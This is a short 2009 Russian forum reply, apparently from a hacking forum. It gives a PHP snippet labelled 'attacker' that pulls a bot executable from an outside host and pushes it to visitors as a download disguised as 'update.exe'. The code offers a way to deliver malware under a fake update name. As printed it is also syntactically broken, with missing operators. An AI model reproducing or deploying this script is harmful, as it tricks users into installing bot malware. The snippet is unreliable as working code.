Показать сообщение отдельно

  #2  
Старый 17.04.2009, 10:42
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

read this _ttp://ua2.php.net/function.readfile
or try file_get_contents() function.

PHP код:
<?php     

// attacker 

$bot 'http://www.bot1.cn/bot.exe';    // url of exe file     

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');     
header('Content-Type: application/octet-stream');     
header('Content-Disposition: attachment; filename=update.exe');     
header('Content-Length: ' filesize($bot));     
echo 
file_get_contents($bot);     
exit;    

?>
 
Ответить с цитированием